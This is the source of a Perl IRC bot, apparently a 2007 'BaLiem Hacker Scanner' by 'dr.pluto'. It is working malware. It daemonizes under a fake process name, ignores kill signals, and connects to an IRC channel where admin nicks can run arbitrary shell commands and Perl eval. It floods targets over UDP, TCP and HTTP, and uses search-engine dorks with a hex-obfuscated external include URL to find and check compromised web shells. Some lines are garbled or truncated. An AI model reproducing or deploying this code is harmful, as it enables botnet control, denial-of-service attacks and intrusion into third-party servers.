#!/usr/bin/perl # ################################################################################################## use HTTP::Request; use LWP::UserAgent; ###################[ CONFIGURATION ]############################################################## my $linas_max='5'; # Avoid Flood # my $sleep='7'; # sleep time # my $VERSAO = "2.3.4-1"; # Version morgan update # #------------------[ dont change this ]----------------########################################### $servidor=$ARGV[0] unless $servidor; # server irc # my $nick=$ARGV[1]; # nick bot # my $ircname = $ARGV[2]; # ident for bot # my @canais=('#'.$ARGV[3]); # Channel join to bot # my @adms=($ARGV[4]); # admin nick name # my $processo = $ARGV[5]; # fake process # chop (my $realname = `hostname`); # Full Name # my $porta='6667'; # Server PORT # my @cmdstring ='http://www.apnic.net/index.html?'; # Dont change this or scan is null # my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?'; # Dont change this or unknow info # # # # ################################################################################################## my $urlinjk = "\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6f\x6e\x62\x6f\x79\x2e\x6e\x65\x74\x2f\x72\x35\x37\x3f"; my $cmdsukses= "\x42\x6f\x74\x20\x6c\x6f\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x2e\x2e\x2e\x2e\x2e\x20\x5b\x42\x61\x6c\x69\x65\x6d\x20\x48\x61\x63\x6b\x65\x72\x20\x53\x63\x61\x6e\x6e\x65\x72\x5d\n"; $cmderror="\x44\x61\x73\x61\x72\x20\x68\x6f\x6d\x6f\x20\x62\x75\x73\x75\x6b\x20\x21\x21\x21\x21\x20\x45\x72\x72\x6f\x72\x20\x74\x75\x68\x20\x6d\x61\x73\x75\x6b\x69\x6e\x20\x69\x6e\x70\x75\x74\x20\x79\x67\x20\x62\x65\x6e\x65\x72\x20\x64\x6f\x6e\x67\x20\x21\x21\x21\n"; if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (! $ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (! $ARGV[5]){die ($cmderror);} print $cmdsukses; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\!bht)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1", "$pn"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick-".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); sendraw("PRIVMSG @adms :You Are My Master"); } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub bfunc { my $msgpriv = "$_[2]"; my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^nick (.*)/) { sendraw($IRC_cur_socket, "NICK ".$1); $nick=$1; } if ($funcarg =~ /^join (.*)/) { sendraw($IRC_cur_socket, "JOIN ".$1); } if ($funcarg =~ /^part (.*)/) { sendraw($IRC_cur_socket, "PART ".$1); } if ($funcarg =~ /^msg\s+(\S+) (.*)/) { sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2); } if ($funcarg =~ /^op (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +o ".$1); } if ($funcarg =~ /^deop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -o ".$1); } if ($funcarg =~ /^voice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +v ".$1); } if ($funcarg =~ /^die (.*)/) { sendraw($IRC_cur_socket, "QUIT :".$1); $killd = "kill -9 ".fork; system (`$killd`); } if ($funcarg =~ /^devoice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -v ".$1); } if ($funcarg =~ /^say (.*)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1); } if ($funcarg =~ /^reset(.*)/) { sendraw($IRC_cur_socket, "QUIT :Di3 for my Master"); } if ($funcarg =~ /^die(.*)/) { if ($1 eq ""){ sendraw($IRC_cur_socket, "QUIT :Di3 for my Master"); $killd = "kill -9 ".fork; system (`$killd`); } } if ($funcarg =~ /^milw0rm(.*)/) { my $reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php"); my $uam=LWP::UserAgent->new();$uam->timeout(10); my $responsem=$uam->request($reqm);$pagefx = $responsem->content; while ($pagefx =~ m/?<\/td>/g) { $nomerlist = $nomerlist + 1; $isi_berita = $1; $isi_berita =~ s/href=\"/\x3\x31\x32\x5B\x77\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x5D\x2\x20\x3\x30\x75\x72\x6C\x2\x3A\x3\x31\x34http:\/\/www.milw0rm.com/g; $isi_berita =~ s/\"//g; $isi_berita =~ s/target=_blank class=style15>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g; $isi_berita =~ s/target=_blank class=style14>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g; sendraw($IRC_cur_socket, "PRIVMSG $printl :4$nomerlist 13$isi_berita"); sleep 5; } if ($isi_berita eq ""){ sendraw($IRC_cur_socket, "PRIVMSG $printl :12Not Connect to 4milw0rm.com!!!"); } } if ($funcarg =~ /^fs (.*)/) { $urlfs ="http://www.friendster.com/usersearch.php?search=1&country=ID&usearch=".$1; $emailfs = $1; my $reqpx=HTTP::Request->new(GET=>$urlfs); my $uarx=LWP::UserAgent->new(); $uarx->timeout(10); my $responsefsfsfs=$uarx->request($reqpx); $pagefx = $responsefsfsfs->content; while ($pagefx =~ m/View profile\" src=\"?http:\/\/([^>\"]+)\"?>/g) { push (@lst_fs,$1); $cocokann = "@lst_fs"; if( $cocokann eq "images.friendster.com/images/nophoto.jpg" ){ sendraw($IRC_cur_socket, "PRIVMSG $printl :12Capedech... gak ada foto na euy!!"); }else { sendraw($IRC_cur_socket, "PRIVMSG $printl :4@adms12, Saya dapet foto nya4 $emailfs 12:2 [http://@lst_fs]"); } }if($cocokann eq ""){ sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Capedech... gak ada tuh fs4 $emailfs"); } } if ($funcarg =~ /^cekshell (.*)/) { $urlfs = $1."@cmdstring"; $emailfs = $1; my $reqpx=HTTP::Request->new(GET=>$urlfs); my $uarx=LWP::UserAgent->new(); $uarx->timeout(10); my $responsefsfsfs=$uarx->request($reqpx); $pagefx = $responsefsfsfs->content; while ($pagefx =~ m/
  • new(GET=>$jadi); my $uaf=LWP::UserAgent->new(); $uaf->timeout(10); my $respons_info=$uaf->request($reqa); $pageyx = $respons_info->content; while ($pageyx =~ m//g) { push (@info,$1); } if ("@info" eq ""){ push (@info,"HoMo DeTecteD !!!"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Shell kamu : 4[2".$emailfs.$urlinjk."4] 12info:7 @info"); } } #flood if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) { for (my $dx=0; $dx<=$1; $dx++) { my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]"); $nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx]; $msgflood = $nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv; $msgflood = $msgflood.$msgflood; $msgflood = $msgflood.$msgflood; sendraw($IRC_cur_socket, "NICK ".$nickfgv); sleep 10; sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood); sleep 2; sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood); } sendraw($IRC_cur_socket, "NICK ".$nick); } if ($funcarg =~ /^help(.*)/) { if ($printl eq "$msgpriv"){ $msghelp ="PRIVMSG $msgpriv"; }else{ $msghelp ="NOTICE $msgpriv"; } sendraw($IRC_cur_socket, $msghelp." :15(7@2Command List @adms15)"); sendraw($IRC_cur_socket, $msghelp." :15(7@2Copyright (C) 200715)"); sleep 2; sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>"); sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2help15)"); sleep 2; sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2scan15) "); sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2portscan15) "); sleep 2; sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2cekshell15) "); sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2udpflood15)
  • new(GET=>$jadi); my $uaf=LWP::UserAgent->new(); $uaf->timeout(10); my $respons_info=$uaf->request($reqa); $pageyx = $respons_info->content; while ($pageyx =~ m//g) { push (@info,$1); } if ("@info" eq ""){ push (@info,"unknow"); } $schsl = "http://".$path."/".$boturl; sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15)12 Target :2 ".$schsl.$urlinjk." 15(7@12-BaLiem-HaCkeR-ScaNneR-7@15)"); } } } else { print 'Errore: ',$path,$response->status_line, "\n"; } } } sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Finish15)12 Scan selesai dengan waktu4 $xtime 12detik."); system(`rm -f /tmp/sminjkx`); } if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2." 12seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1."."); } if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12 Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3." 12seconds."); my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1."."); } exit; } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } $l=0; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; shutdown($t,2); $l++; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65000; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part { sendraw("PART $_[0]"); } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub quit { sendraw("QUIT :$_[0]"); } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub fetch(){ my $rnd=(int(rand(9999))); my $n= 80; if ($rnd<5000) { $n<<=1;} my $s= (int(rand(10)) * $n); $b = $b + 10; { my @dominios = ("com","net","org","info","gov","gob","gub","xxx","it","uk","wx","eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec","py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop","af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk","ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir","iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke","ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm","na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc","sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz","vu","vn","ye","yu","cd","zm","zw",""); my @str; foreach $dom (@dominios) { push (@str,"@gstring"); } my $query="www.google.com/search?q="; $query.=$str[(rand(scalar(@str)))]; $query.="&start=$b"; my @lst=(); my $page = http_query($query); while ($page =~ m/

    \"]+)\"? class=l/g){ push (@lst,$1); } return (@lst); } sub http_query($){ my ($url) = @_; my $host=$url; my $query=$url; my $page=""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~s/$host//; if ($query eq "") {$query="/";}; eval { local $SIG{ALRM} = sub { die "1";}; alarm 10; my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com # NOTE: DONT REMOVE COPYRIGHTS # dr.pluto (C) www.kamarmayat.org 2007